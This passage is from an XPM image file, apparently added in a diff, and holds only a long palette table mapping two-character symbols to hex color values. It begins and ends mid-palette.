#ECFF84", +"H# c #EEFF88", +"I# c #EEFF8A", +"J# c #EEFF8C", +"K# c #EFFF8E", +"L# c #F1FF9D", +"M# c #F2FFA0", +"N# c #F2FFA2", +"O# c #F3FFB0", +"P# c #F4FFB8", +"Q# c #F4FFBA", +"R# c #F4FFBC", +"S# c #F3FEBD", +"T# c #F2FCBE", +"U# c #EFF9C0", +"V# c #EBF4C1", +"W# c #E6EEC2", +"X# c #E5EEC2", +"Y# c #EEFFC2", +"Z# c #EBF8C3", +"`# c #E2E9C4", +" $ c #D3DAB5", +".$ c #848872", +"+$ c #1D1F1D", +"@$ c #495E4B", +"#$ c #82A386", +"$$ c #79997D", +"%$ c #405142", +"&$ c #303C32", +"*$ c #2E382F", +"=$ c #2D362E", +"-$ c #384639", +";$ c #3C4C3E", +">$ c #344236", +",$ c #313D32", +"'$ c #ABB493", +")$ c #E8F5C4", +"!$ c #EAF8C5", +"~$ c #ECF9C7", +"{$ c #ECF8C7", +"]$ c #ECF9C6", +"^$ c #E9F6C5", +"/$ c #DFE7C5", +"($ c #DAE1C4", +"_$ c #DAE0C4", +":$ c #E3EEC2", +"<$ c #EDFEC1", +"[$ c #E3EEC1", +"}$ c #DFE8C0", +"|$ c #E1ECC0", +"1$ c #E3EFBE", +"2$ c #E5F2BD", +"3$ c #E6F3BC", +"4$ c #E7F5BB", +"5$ c #E6F5B9", +"6$ c #E6F4B8", +"7$ c #E5F3B7", +"8$ c #E4F2B5", +"9$ c #E2F0B4", +"0$ c #DCE9B2", +"a$ c #D7E3B0", +"b$ c #D2DDAF", +"c$ c #DAEAAC", +"d$ c #E6FCA9", +"e$ c #CAD4A8", +"f$ c #CBD5A8", +"g$ c #CBD6A6", +"h$ c #CCD8A4", +"i$ c #CCD8A3", +"j$ c #CAD6A1", +"k$ c #C8D59F", +"l$ c #C8D59D", +"m$ c #C7D49B", +"n$ c #C6D599", +"o$ c #C6D397", +"p$ c #C5D495", +"q$ c #C5D493", +"r$ c #C5D591", +"s$ c #C5D78F", +"t$ c #C7D88E", +"u$ c #C7DA8C", +"v$ c #CBDC91", +"w$ c #C6D985", +"x$ c #9DC77F", +"y$ c #246378", +"z$ c #2A798A", +"A$ c #5AA6B4", +"B$ c #BBE880", +"C$ c #EAFF7D", +"D$ c #ECFF88", +"E$ c #EDFF87", +"F$ c #EEFF89", +"G$ c #F0FF98", +"H$ c #F1FF9A", +"I$ c #F2FFA6", +"J$ c #F3FFB4", +"K$ c #F4FFB7", +"L$ c #F2FDBB", +"M$ c #F0FABD", +"N$ c #ECF6BE", +"O$ c #E7F0BF", +"P$ c #E2EAC0", +"Q$ c #EDFEBF", +"R$ c #ECFCC0", +"S$ c #E0E8C1", +"T$ c #C6CDA9", +"U$ c #2C332D", +"V$ c #708D74", +"W$ c #98BA9C", +"X$ c #BCDAC1", +"Y$ c #CAE2CD", +"Z$ c #CAE3CF", +"`$ c #B9D7BE", +" % c #ADCBB1", +".% c #A9C7AD", +"+% c #A7C6AB", +"@% c #B0CEB5", +"#% c #B0CFB5", +"$% c #A7C8AC", +"%% c #A6C9AC", +"&% c #8AAD8F", +"*% c #435746", +"=% c #2E2F2B", +"-% c #797D6A", +";% c #DAE3BD", +">% c #E3ECC4", +",% c #E3ECC5", +"'% c #E3EDC5", +")% c #E8F5C3", +"!% c #EEFEC2", +"~% c #E5F2C1", +"{% c #D8DFC2", +"]% c #D7DEC1", +"^% c #DCE5C0", +"/% c #EDFFBE", +"(% c #DDE7BD", +"_% c #E0EBBD", +":% c #E2EFBB", +"<% c #E4F1BA", +"[% c #E5F3B9", +"}% c #E5F4B6", +"|% c #E4F3B5", +"1% c #E3F2B3", +"2% c #E1EFB2", +"3% c #DBE8B0", +"4% c #D6E2AF", +"5% c #D0DAAD", +"6% c #D5E3AA", +"7% c #E6FDA8", +"8% c #C6CFA7", +"9% c #C5CFA5", +"0% c #C4CEA4", +"a% c #C4CEA2", +"b% c #C5D1A1", +"c% c #CCDC9E", +"d% c #CEE09C", +"e% c #CDDF9A", +"f% c #C8D899", +"g% c #C1CE97", +"h% c #BFCC95", +"i% c #BFCC94", +"j% c #BECC91", +"k% c #BECD8F", +"l% c #BFCF8D", +"m% c #C1D18B", +"n% c #C2D489", +"o% c #C8D990", +"p% c #C3D684", +"q% c #9BC47E", +"r% c #BAE87F", +"s% c #EAFF7C", +"t% c #ECFF82", +"u% c #EDFF86", +"v% c #EFFF92", +"w% c #F0FF94", +"x% c #F0FF96", +"y% c #F3FFAF", +"z% c #F3FFB1", +"A% c #F3FFB2", +"B% c #F3FFB5", +"C% c #F3FFB8", +"D% c #F3FFB9", +"E% c #F1FCBA", +"F% c #EEF8BB", +"G% c #E9F3BC", +"H% c #E4EDBD", +"I% c #E7F3BD", +"J% c #EDFFBD", +"K% c #E1E9BF", +"L% c #E3EBC1", +"M% c #747863", +"N% c #87A38A", +"O% c #C9E2CD", +"P% c #C4DFC8", +"Q% c #CBE3CE", +"R% c #D4E8D7", +"S% c #D9EADB", +"T% c #DAEBDC", +"U% c #D8EADA", +"V% c #D5E9D8", +"W% c #D3E7D6", +"X% c #CFE5D3", +"Y% c #CAE2CE", +"Z% c #A0C5A6", +"`% c #273028", +" & c #767B65", +".& c #CAD3AB", +"+& c #DCE6BB", +"@& c #E2ECC1", +"#& c #E1EAC2", +"$& c #DFE8C1", +"%& c #E9F8BF", +"&& c #EBFABF", +"*& c #D8E0BE", +"=& c #D5DCBE", +"-& c #D9E3BD", +";& c #EDFFBB", +">& c #E0ECBB", +",& c #DCE6BA", +"'& c #DFEAB9", +")& c #E1EEB8", +"!& c #E3F1B7", +"~& c #E4F3B6", +"{& c #E4F3B4", +"]& c #E4F2B3", +"^& c #E2F2B1", +"/& c #E0EEB0", +"(& c #DAE7AF", +"_& c #D4E0AD", +":& c #CED9AB", +"<& c #D6E7A8", +"[& c #E4FBA6", +"}& c #C2CBA5", +"|& c #C0C9A3", +"1& c #D5E7A1", +"2& c #DCF19F", +"3& c #DDF59D", +"4& c #DFF89B", +"5& c #DDF699", +"6& c #DEF898", +"7& c #DFFA96", +"8& c #DCF694", +"9& c #DCF892", +"0& c #D4ED8F", +"a& c #C1D28F", +"b& c #B7C48E", +"c& c #B8C68C", +"d& c #B9C88A", +"e& c #BCCC88", +"f& c #C2D28D", +"g& c #C0D282", +"h& c #99C17C", +"i& c #236176", +"j& c #BAE77F", +"k& c #EAFF7A", +"l& c #EBFF81", +"m& c #ECFF83", +"n& c #F2FFA9", +"o& c #F3FFB3", +"p& c #F3FFB6", +"q& c #F3FEB7", +"r& c #EFFBB8", +"s& c #EBF6B8", +"t& c #E6F0BA", +"u& c #E1EABB", +"v& c #ECFDBA", +"w& c #E6F4BB", +"x& c #E1E9BD", +"y& c #E5EEBE", +"z& c #8B9174", +"A& c #7A937C", +"B& c #BFDDC4", +"C& c #C2DEC7", +"D& c #D0E6D3", +"E& c #D8EAD9", +"F& c #DAEBDB", +"G& c #DAECDC", +"H& c #D8EBDA", +"I& c #D5E8D7", +"J& c #D1E6D4", +"K& c #C3DFC7", +"L& c #CCE3D0", +"M& c #9CBEA2", +"N& c #2C2D28", +"O& c #71765F", +"P& c #BDC79E", +"Q& c #DDE8B9", +"R& c #E3EEC0", +"S& c #E0EABF", +"T& c #DDE6BE", +"U& c #E5F3BD", +"V& c #ECFEBC", +"W& c #D6DEBC", +"X& c #D3DABB", +"Y& c #DAE5BA", +"Z& c #EBFEB8", +"`& c #DAE5B7", +" * c #DAE5B6", +".* c #DEEAB6", +"+* c #E1EEB5", +"@* c #E3F1B4", +"#* c #E3F2B2", +"$* c #E3F2B1", +"%* c #E1F1AF", +"&* c #DDECAE", +"** c #D8E5AD", +"=* c #D1DDAB", +"-* c #CBD6A9", +";* c #DFF3A6", +">* c #E2F9A4", +",* c #C0C9A2", +"'* c #E4FD9F", +")* c #E5FF9E", +"!* c #D5EA9C", +"~* c #B2B99B", +"{* c #B3BC99", +"]* c #B7C098", +"^* c #BBC796", +"/* c #C1D193", +"(* c #CDE191", +"_* c #DBF78E", +":* c #E0FF8C", +"<* c #DFFF8A", +"[* c #C7DE89", +"}* c #B2BE88", +"|* c #B4C286", +"1* c #BCCA8B", +"2* c #BBCC81", +"3* c #96BD7A", +"4* c #236074", +"5* c #EAFF79", +"6* c #EBFF84", +"7* c #EBFF7F", +"8* c #EDFF84", +"9* c #F2FFA5", +"0* c #F2FFA7", +"a* c #F2FFA8", +"b* c #F2FFAB", +"c* c #F2FFAD", +"d* c #F2FFAE", +"e* c #F2FFB0", +"f* c #F2FFB2", +"g* c #F2FEB5", +"h* c #EEF9B5", +"i* c #E9F3B6", +"j* c #E4EEB8", +"k* c #E1EBB8", +"l* c #EBFEB7", +"m* c #E0EBB9", +"n* c #E2EBBB", +"o* c #E7F1BC", +"p* c #D0DAA7", +"q* c #303B31", +"r* c #C5DFCA", +"s* c #C3DFC8", +"t* c #CCE4CF", +"u* c #D2E7D5", +"v* c #DCECDE", +"w* c #DEEEE0", +"x* c #E0EFE1", +"y* c #DFEEE1", +"z* c #DCEDDE", +"A* c #D9EBDB", +"B* c #D3E7D5", +"C* c #89AB8E", +"D* c #2B2D27", +"E* c #676C56", +"F* c #C5D0A2", +"G* c #E0EABC", +"H* c #DCE5BB", +"I* c #E1EFBA", +"J* c #E9FAB9", +"K* c #D4DBB9", +"L* c #D1D9B8", +"M* c #DEEDB6", +"N* c #E7FAB4", +"O* c #D6E1B4", +"P* c #DAE6B4", +"Q* c #DEEBB3", +"R* c #E0EEB1", +"S* c #E1F0B0", +"T* c #DFEFAD", +"U* c #DAE9AC", +"V* c #D5E1AB", +"W* c #CED9A9", +"X* c #C9D4A6", +"Y* c #E6FFA4", +"Z* c #D6E8A3", +"`* c #C0C9A1", +" = c #BDC6A1", +".= c #D4E79D", +"+= c #E4FF9B", +"@= c #E4FF9A", +"#= c #C4D398", +"$= c #AFB697", +"%= c #B3BC95", +"&= c #B8C394", +"*= c #BBC793", +"== c #BAC790", +"-= c #B8C48F", +";= c #BAC88B", +">= c #D5F189", +",= c #DFFF87", +"'= c #D9F885", +")= c #B3C283", +"!= c #B5C28A", +"~= c #B4C47F", +"{= c #90B575", +"]= c #225C70", +"^= c #2F3638", +"/= c #B9E77E", +"(= c #E9FF77", +"_= c #EBFF83", +":= c #EBFF80", +"<= c #EDFF85", +"[= c #F1FFA2", +"}= c #F2FFAA", +"|= c #F2FFAC", +"1= c #F0FDB3", +"2= c #ECF8B3", +"3= c #E7F1B4", +"4= c #E1EBB5", +"5= c #E9FBB6", +"6= c #DEE7B8", +"7= c #E3EDB9", +"8= c #E9F4BA", +"9= c #EEFABB", +"0= c #767B5E", +"a= c #617D64", +"b= c #C6E1CA", +"c= c #CAE3CE", +"d= c #D1E7D4", +"e= c #D7EAD9", +"f= c #E1EFE2", +"g= c #E2F0E3", +"h= c #CFE6D2", +"i= c #C6E0C9", +"j= c #BADABF", +"k= c #93B799", +"l= c #2C2E27", +"m= c #88906E", +"n= c #C7D2A1", +"o= c #E0EBB6", +"p= c #DEEAB9", +"q= c #DAE4B8", +"r= c #E2F0B7", +"s= c #E6F8B5", +"t= c #CFD8B5", +"u= c #CFD7B4", +"v= c #E4F7B2", +"w= c #E1F1B2", +"x= c #DBE7B1", +"y= c #DEECB0", +"z= c #E0EFAF", +"A= c #DCECAB", +"B= c #D8E5AA", +"C= c #D1DDA9", +"D= c #CAD5A7", +"E= c #D5E6A5", +"F= c #E6FFA2", +"G= c #C7D2A2", +"H= c #C3CDA1", +"I= c #C0CA9F", +"J= c #BAC39D", +"K= c #CCDE9A", +"L= c #E3FF98", +"M= c #E3FF96", +"N= c #C2D295", +"O= c #B0B994", +"P= c #B6C193", +"Q= c #BBC891", +"R= c #BCCA8F", +"S= c #BBC98D", +"T= c #B6C48B", +"U= c #AFBC89", +"V= c #C1D686", +"W= c #DDFF83", +"X= c #DDFF81", +"Y= c #B6C588", +"Z= c #ADBB7D", +"`= c #8AAD72", +" - c #20576A", +".- c #2E3436", +"+- c #2E3C40", +"@- c #B9E77D", +"#- c #E9FF76", +"$- c #EFFE97", +"%- c #EFFD98", +"&- c #EFFD9A", +"*- c #EEFC9C", +"=- c #EEFC9D", +"-- c #EFFC9F", +";- c #F0FDA0", +">- c #F0FDA1", +",- c #F1FEA3", +"'- c #F1FFA5", +")- c #F1FFA6", +"!- c #F2FFAF", +"~- c #EFFCB1", +"{- c #EBF6B2", +"]- c #E5F0B2", +"^- c #E0EAB3", +"/- c #E5F6B3", +"(- c #E5F5B4", +"_- c #DEE8B6", +":- c #E4EEB7", +"<- c #E9F5B8", +"[- c #EEFBB9", +"}- c #F1FFBA", +"|- c #6F7459", +"1- c #82A285", +"2- c #CCE4D0", +"3- c #D4E8D6", +"4- c #DDEDDE", +"5- c #DFEEE0", +"6- c #E0EEE1", +"7- c #C7E1CB", +"8- c #BCDBC0", +"9- c #B5D7BB", +"0- c #6B8C70", +"a- c #414436", +"b- c #98A179", +"c- c #C8D4A0", +"d- c #DCE8B5", +"e- c #D8E2B5", +"f- c #E5F7B3", +"g- c #E0F0B3", +"h- c #CED7B2", +"i- c #D2DDB1", +"j- c #E6FAAF", +"k- c #D6E3AF", +"l- c #D7E4AE", +"m- c #DBE9AD", +"n- c #DDECAC", +"o- c #DDEDAB", +"p- c #DAE9A9", +"q- c #D4E2A8", +"r- c #CDD8A6", +"s- c #C8D3A4", +"t- c #D9EDA0", +"u- c #C5D0A1", +"v- c #C5D19E", +"w- c #C4D09D", +"x- c #BEC99B", +"y- c #B6C099", +"z- c #D5EC96", +"A- c #E2FF94", +"B- c #E2FF93", +"C- c #BBC992", +"D- c #B3BE90", +"E- c #BAC78F", +"F- c #BECD8D", +"G- c #BFCE8B", +"H- c #BACA89", +"I- c #B3C187", +"J- c #ABB784", +"K- c #BFD583", +"L- c #DCFF7F", +"M- c #D6F485", +"N- c #A5B17B", +"O- c #83A26E", +"P- c #1E5263", +"Q- c #2C3234", +"R- c #2E3B3F", +"S- c #2A7989", +"T- c #B9E77C", +"U- c #E9FF75", +"V- c #EAFF80", +"W- c #EAFF7B", +"X- c #EEFF8F", +"Y- c #EEFE91", +"Z- c #EDFC93", +"`- c #ECFB95", +" ; c #EAF896", +".; c #E8F697", +"+; c #E8F599", +"@; c #E8F59B", +"#; c #E8F59D", +"$; c #EAF79E", +"%; c #EBF8A0", +"&; c #ECFAA1", +"*; c #EDFBA3", +"=; c #EDFBA4", +"-; c #EEFBA6", +";; c #EEFBA7", +">; c #EEFBA8", +",; c #EFFCAA", +"'; c #F0FDAB", +"); c #F0FEAC", +"!; c #F1FEAE", +"~; c #EFFCAF", +"{; c #E9F5B0", +"]; c #E4EEB0", +"^; c #DEE8B1", +"/; c #E7FBB0", +"(; c #E2F2B2", +"_; c #DEE8B4", +":; c #E4EFB5", +"<; c #E9F5B5", +"[; c #EEFBB7", +"}; c #F0FFB8", +"|; c #C7D49A", +"1; c #6E7458", +"2; c #729175", +"3; c #CEE5D2", +"4; c #D7EADA", +"5; c #D3E8D5", +"6; c #B3D6B8", +"7; c #9ABCA0", +"8; c #272923", +"9; c #757C5B", +"0; c #A7B284", +"a; c #D6E4A9", +"b; c #E3F1B6", +"c; c #DFECB5", +"d; c #D7E2B3", +"e; c #E6FAB0", +"f; c #D4DFB0", +"g; c #CDD6AF", +"h; c #DBEBAE", +"i; c #E2F5AC", +"j; c #D8E6AB", +"k; c #DBE9AA", +"l; c #DAEAA9", +"m; c #D3E2A4", +"n; c #E6FFA1", +"o; c #E2FBA0", +"p; c #C3CDA0", +"q; c #C5D19F", +"r; c #C8D69B", +"s; c #C4D19A", +"t; c #BBC698", +"u; c #B9C495", +"v; c #E1FF91", +"w; c #D6EF8F", +"x; c #B1BB8E", +"y; c #B8C68D", +"z; c #C2D38A", +"A; c #BFD088", +"B; c #B8C886", +"C; c #AFBC84", +"D; c #A5B081", +"E; c #CDE97F", +"F; c #B4C879", +"G; c #7D9968", +"H; c #1B4B5B", +"I; c #2A3032", +"J; c #2D3A3E", +"K; c #2A7888", +"L; c #B8E77C", +"M; c #E8FF73", +"N; c #EAFF7E", +"O; c #EDFF8A", +"P; c #EDFE8C", +"Q; c #ECFC8E", +"R; c #EBFA90", +"S; c #E8F791", +"T; c #E6F493", +"U; c #E3F094", +"V; c #E1EE95", +"W; c #E0EC97", +"X; c #E0EC99", +"Y; c #E1ED9B", +"Z; c #E3EF9C", +"`; c #E4F09E", +" > c #E5F29F", +".> c #E6F3A1", +"+> c #E7F3A2", +"@> c #E7F3A4", +"#> c #E7F3A5", +"$> c #E8F4A6", +"%> c #E9F6A8", +"&> c #EBF8A9", +"*> c #EDFBAA", +"=> c #EEFCAB", +"-> c #EDFBAC", +";> c #E8F5AE", +">> c #E3EEAE", +",> c #DEE8AF", +"'> c #E6FAAE", +")> c #DCE6B1", +"!> c #E2EDB2", +"~> c #E8F4B3", +"{> c #EDFBB5", +"]> c #F0FFB5", +"^> c #F0FFB6", +"/> c #DBE8A7", +"(> c #717759", +"_> c #374137", +":> c #94B499", +"<> c #D3E8D6", +"[> c #C4DFC9", +"}> c #C6E0CA", +"|> c #425A46", +"1> c #444837", +"2> c #6B7253", +"3> c #9BA579", +"4> c #D2E1A4", +"5> c #E4F3B3", +"6> c #DCE9B1", +"7> c #DEEEAF", +"8> c #DFF1AD", +"9> c #CCD6AD", +"0> c #CCD6AC", +"a> c #E2F7AA", +"b> c #D5E3A9", +"c> c #D8E7A8", +"d> c #D8E7A7", +"e> c #D5E4A5", +"f> c #CFDDA4", +"g> c #D8EAA2", +"h> c #E5FF9F", +"i> c #CBDA9F", +"j> c #C1CC9E", +"k> c #C6D39D", +"l> c #CAD89B", +"m> c #CCDB9A", +"n> c #C8D798", +"o> c #BFCC96", +"p> c #B5BF95", +"q> c #CEE491", +"r> c #E1FF8F", +"s> c #D8F48D", +"t> c #BED08C", +"u> c #B5C18C", +"v> c #BDCC8A", +"w> c #C3D488", +"x> c #C3D686", +"y> c #BCCE84", +"z> c #B2C182", +"A> c #A7B480", +"B> c #B0C17D", +"C> c #C8E677", +"D> c #92B35C", +"E> c #194655", +"F> c #282E2F", +"G> c #2C393D", +"H> c #297788", +"I> c #B6E77B", +"J> c #E8FF72", +"K> c #E9FF78", +"L> c #ECFD88", +"M> c #EBFB8A", +"N> c #E8F88C", +"O> c #E5F48E", +"P> c #E2F090", +"Q> c #DEEB90", +"R> c #DBE892", +"S> c #D9E594", +"T> c #D8E396", +"U> c #D8E397", +"V> c #D9E499", +"W> c #DAE69A", +"X> c #DCE89C", +"Y> c #DDE99D", +"Z> c #DFEB9F", +"`> c #DFEBA0", +" , c #DFEBA2", +"., c #DFEBA3", +"+, c #E0ECA4", +"@, c #E2EEA6", +"#, c #E5F1A7", +"$, c #E8F5A8", +"%, c #EBF8AA", +"&, c #E7F4AC", +"*, c #E2EEAC", +"=, c #DDE7AD", +"-, c #E3F6AD", +";, c #E4F6AD", +">, c #DAE5B0", +",, c #E0ECB0", +"', c #E6F3B2", +"), c #ECFAB2", +"!, c #EFFEB3", +"~, c #EFFFB4", +"{, c #B3BF8A", +"], c #595E48", +"^, c #292E29", +"/, c #5B745D", +"(, c #6F9274", +"_, c #AECEB3", +":, c #D0E6D4", +"<, c #CBE4D0", +"[, c #9CC0A2", +"}, c #678A6C", +"|, c #38483A", +"1, c #373A2E", +"2, c #6D7454", +"3, c #858F66", +"4, c #B3C08A", +"5, c #DAE9A8", +"6, c #E6F6B1", +"7, c #E2F1B0", +"8, c #DDECAF", +"9, c #D9E6AF", +"0, c #D4E0AE", +"a, c #E1F4AB", +"b, c #D0DBAB", +"c, c #CBD5AA", +"d, c #D9EBA9", +"e, c #DDF1A7", +"f, c #D3E0A7", +"g, c #D6E5A6", +"h, c #D7E6A5", +"i, c #D4E3A3", +"j, c #CFDDA2", +"k, c #C8D4A1", +"l, c #E2FC9D", +"m, c #DCF39C", +"n, c #C0CC9C", +"o, c #C5D29B", +"p, c #CAD999", +"q, c #CDDD98", +"r, c #CBDB97", +"s, c #C4D295", +"t, c #B8C393", +"u, c #B7C390", +"v, c #E0FF8D", +"w, c #DEFC8C", +"x, c #C8DE8A", +"y, c #B0BB89", +"z, c #B9C788", +"A, c #C0D286", +"B, c #C3D785", +"C, c #BED182", +"D, c #B6C682", +"E, c #ABB87F", +"F, c #A4B17D", +"G, c #DDFF80", +"H, c #D8FD75", +"I, c #A4C955", +"J, c #194452", +"K, c #272D2E", +"L, c #2B383C", +"M, c #297787", +"N, c #B6E77A", +"O, c #E7FF70", +"P, c #E9FF7B", +"Q, c #EBFE84", +"R, c #EBFD85", +"S, c #E8FB86", +"T, c #E6F788", +"U, c #E2F28A", +"V, c #DEEC8C", +"W, c #D9E68D", +"X, c #D5E18E", +"Y, c #D2DD90", +"Z, c #D6E991", +"`, c #DCF492", +" ' c #DEF992", +".' c #DDF695", +"+' c #D7E697", +"@' c #D4DF99", +"#' c #D6E19A", +"$' c #D7E29C", +"%' c #D7E29D", +"&' c #D8E39F", +"*' c #D8E4A0", +"=' c #D8E3A1", +"-' c #DAE4A3", +";' c #DDE8A5", +">' c #E1EDA6", +",' c #E6F3A7", +"'' c #E8F6A8", +")' c #E6F3A9", +"!' c #E2EEA9", +"~' c #DCE7AA", +"{' c #E0F0AA", +"]' c #E8FFAA", +"^' c #D8E2AD", +"/' c #DEE9AE", +"(' c #E3F0AE", +"_' c #E9F8B0", +":' c #EDFDB1", +"<' c #EFFFB2", +"[' c #EEFEB2", +"}' c #EDFDB2", +"|' c #DFEFA9", +"1' c #9AA477", +"2' c #696F53", +"3' c #32332C", +"4' c #3F5140", +"5' c #536F56", +"6' c #557259", +"7' c #536F57", +"8' c #526F56", +"9' c #55745A", +"0' c #405543", +"a' c #272824", +"b' c #3E4134", +"c' c #646B50", +"d' c #8A936A", +"e' c #9FAB79", +"f' c #BBC88E", +"g' c #D5E5A2", +"h' c #E4F5AD", +"i' c #E5F6AF", +"j' c #E2F2AE", +"k' c #DEEDAD", +"l' c #D9E7AC", +"m' c #DEF0A9", +"n' c #D5E4A8", +"o' c #CEDAA6", +"p' c #DFF4A4", +"q' c #D1DFA5", +"r' c #D4E2A4", +"s' c #D4E3A1", +"t' c #CFDEA0", +"u' c #C9D59E", +"v' c #C9D89C", +"w' c #CDDE99", +"x' c #C3D199", +"y' c #C8D797", +"z' c #CCDD97", +"A' c #CCDD95", +"B' c #C6D594", +"C' c #BBC791", +"D' c #AFB88E", +"E' c #D4EE8C", +"F' c #D2EE88", +"G' c #AEBA87", +"H' c #BECE85", +"I' c #C0D382", +"J' c #B8C980", +"K' c #AEBC7D", +"L' c #B1C37A", +"M' c #DCFF7E", +"N' c #D8FD73", +"O' c #A9D053", +"P' c #194453", +"Q' c #E6FF6F", +"R' c #E8FF79", +"S' c #E8FF75", +"T' c #E9FF79", +"U' c #EAFD82", +"V' c #E8FB84", +"W' c #E5F785", +"X' c #E0F087", +"Y' c #DAE987", +"Z' c #D4E289", +"`' c #D0DC8B", +" ) c #D7ED8A", +".) c #DEFC8B", +"+) c #DEFB8D", +"@) c #DCF68F", +"#) c #D7EC91", +"$) c #DBF293", +"%) c #E0FC93", +"&) c #E1FC95", +"*) c #D5E598", +"=) c #D7E79A", +"-) c #E0F999", +";) c #E2FB9B", +">) c #E3FD9C", +",) c #E4FF9D", +"') c #E2FA9E", +")) c #D6E3A2", +"!) c #D9E4A3", +"~) c #DFECA5", +"{) c #E4F1A6", +"]) c #E4F2A7", +"^) c #E1EEA7", +"/) c #DCE8A8", +"() c #D8E4A9", +"_) c #E7FFA8", +":) c #DCEBAA", +"<) c #D9E4AB", +"[) c #E0EDAC", +"}) c #E6F5AE", +"|) c #EBFBAF", +"1) c #EDFEAF", +"2) c #EEFFB0", +"3) c #EDFFB1", +"4) c #EDFEB1", +"5) c #ECFEB1", +"6) c #ECFDB1", +"7) c #EAFBB0", +"8) c #E6F7AF", +"9) c #B1BD87", +"0) c #89936B", +"a) c #7D8563", +"b) c #737A5D", +"c) c #6B7157", +"d) c #666C52", +"e) c #7B8362", +"f) c #A0AA80", +"g) c #A4AF81", +"h) c #B1BE89", +"i) c #C5D296", +"j) c #D5E5A0", +"k) c #DFEFA8", +"l) c #E5F6AD", +"m) c #E6F7AD", +"n) c #E5F6AC", +"o) c #E2F3AB", +"p) c #DEEEAB", +"q) c #D9E8AA", +"r) c #D5E2A9", +"s) c #DDF0A7", +"t) c #D9EBA6", +"u) c #C9D5A5", +"v) c #C9D4A4", +"w) c #DDF3A2", +"x) c #D5E6A2", +"y) c #D1E0A1", +"z) c #D3E3A1", +"A) c #D3E39F", +"B) c #D1E09E", +"C) c #CAD99C", +"D) c #C4D19B", +"E) c #D5EA99", +"F) c #C1CD97", +"G) c #CADA95", +"H) c #CBDD93", +"I) c #C7D792", +"J) c #BDCB8F", +"K) c #B0BB8D", +"L) c #C0D38A", +"M) c #DFFF88", +"N) c #DAFA86", +"O) c #B6C685", +"P) c #B1BE85", +"Q) c #BBCB83", +"R) c #C1D482", +"S) c #C0D480", +"T) c #BACC7E", +"U) c #B1C07B", +"V) c #C0D879", +"W) c #DCFF7C", +"X) c #D8FD72", +"Y) c #ADD753", +"Z) c #1B4958", +"`) c #282E30", +" ! c #B5E679", +".! c #E6FF6D", +"+! c #E8FF77", +"@! c #E7FF73", +"#! c #EAFE7E", +"$! c #E8FB80", +"%! c #E4F781", +"&! c #DFF083", +"*! c #D8E784", +"=! c #D1DF85", +"-! c #CFDF86", +";! c #DEFF86", +">! c #DDFC88", +",! c #CFE08B", +"'! c #CDD88E", +")! c #CED98F", +"!! c #CFDA91", +"~! c #CEDA92", +"{! c #CED994", +"]! c #D8EC94", +"^! c #E2FD96", +"/! c #D9EC98", +"(! c #D3E19A", +"_! c #D4E29C", +":! c #D9EC9C", +"~ c #E5F87F", +",~ c #DFF17F", +"'~ c #D7E881", +")~ c #CFDD83", +"!~ c #CCDC83", +"~~ c #D4EC85", +"{~ c #C7D289", +"]~ c #C9D58B", +"^~ c #CCD88C", +"/~ c #CDD98E", +"(~ c #CEDA8F", +"_~ c #CFDB92", +":~ c #D0DC94", +"<~ c #D3E094", +"[~ c #D4E196", +"}~ c #D5E197", +"|~ c #D5E198", +"1~ c #D3DE9A", +"2~ c #CFD99B", +"3~ c #CCD69C", +"4~ c #E0F89B", +"5~ c #E4FF9C", +"6~ c #D4E09F", +"7~ c #D8E4A1", +"8~ c #DCE9A2", +"9~ c #DAE8A3", +"0~ c #D8E3A4", +"a~ c #D1DBA4", +"b~ c #D2E0A4", +"c~ c #D3DFA6", +"d~ c #D5E0A7", +"e~ c #DDEAA8", +"f~ c #E4F4AA", +"g~ c #E9FAAA", +"h~ c #EBFDAB", +"i~ c #ECFEAB", +"j~ c #ECFFAC", +"k~ c #EBFEAD", +"l~ c #EBFDAD", +"m~ c #EAFBAD", +"n~ c #E7F8AD", +"o~ c #E3F4AC", +"p~ c #DFEEAC", +"q~ c #DAE8AC", +"r~ c #E7FDAA", +"s~ c #E0F3AB", +"t~ c #D7E5AB", +"u~ c #DBE9AB", +"v~ c #DFEEAB", +"w~ c #E2F3AA", +"x~ c #E4F6AA", +"y~ c #E5F7A9", +"z~ c #E4F7A8", +"A~ c #E4F6A8", +"B~ c #E1F3A7", +"C~ c #DDEEA6", +"D~ c #D9E8A5", +"E~ c #D4E3A4", +"F~ c #D6E7A2", +"G~ c #D8EBA1", +"H~ c #C8D5A1", +"I~ c #C7D3A0", +"J~ c #D1E29E", +"K~ c #DAF09D", +"L~ c #CEDC9D", +"M~ c #D3E49B", +"N~ c #D3E499", +"O~ c #CFDF98", +"P~ c #C1CE95", +"Q~ c #D4EB92", +"R~ c #DBF691", +"S~ c #C4D490", +"T~ c #C7D88F", +"U~ c #C5D68D", +"V~ c #BDCD8B", +"W~ c #B2BE8A", +"X~ c #B2C087", +"Y~ c #BDD282", +"Z~ c #ABB781", +"`~ c #B4C580", +" { c #BCCF7F", +".{ c #BED27D", +"+{ c #BACD7B", +"@{ c #B4C679", +"#{ c #AFBF77", +"${ c #AFBE7B", +"%{ c #A8B970", +"&{ c #84A76C", +"*{ c #1E5466", +"={ c #2B3234", +"-{ c #2D3B3E", +";{ c #B4E677", +">{ c #E5FF6A", +",{ c #E6FF70", +"'{ c #E8FF76", +"){ c #E9FE79", +"!{ c #E6FB7B", +"~{ c #E0F37C", +"{{ c #D8EA7E", +"]{ c #CFDE7F", +"^{ c #C6D380", +"/{ c #DBFC7F", +"({ c #D4F080", +"_{ c #C0CC84", +":{ c #C4CF87", +"<{ c #C7D388", +"[{ c #CAD78A", +"}{ c #CCD88D", +"|{ c #CDD98F", +"1{ c #CEDA90", +"2{ c #D0DC92", +"3{ c #D3DF93", +"4{ c #D6E294", +"5{ c #D8E596", +"6{ c #D9E797", +"7{ c #D8E599", +"8{ c #D3DF99", +"9{ c #CED99A", +"0{ c #CCD89B", +"a{ c #DCF19C", +"b{ c #D2DD9E", +"c{ c #D5E19F", +"d{ c #D4E1A0", +"e{ c #D1DDA1", +"f{ c #CCD6A2", +"g{ c #C7CFA2", +"h{ c #DFF5A2", +"i{ c #E2F9A3", +"j{ c #D0DBA6", +"k{ c #D7E4A6", +"l{ c #DFEDA7", +"m{ c #E4F5A7", +"n{ c #E7F9A8", +"o{ c #E9FBA9", +"p{ c #EAFCAA", +"q{ c #EAFDAA", +"r{ c #E9FDAA", +"s{ c #E8FBAA", +"t{ c #E7F9AB", +"u{ c #E5F7AA", +"v{ c #E3F4AA", +"w{ c #DFEFAA", +"x{ c #DAEAAA", +"y{ c #E1F5A9", +"z{ c #D2DEAA", +"A{ c #DDEFA8", +"B{ c #E0F4A8", +"C{ c #D8E6A9", 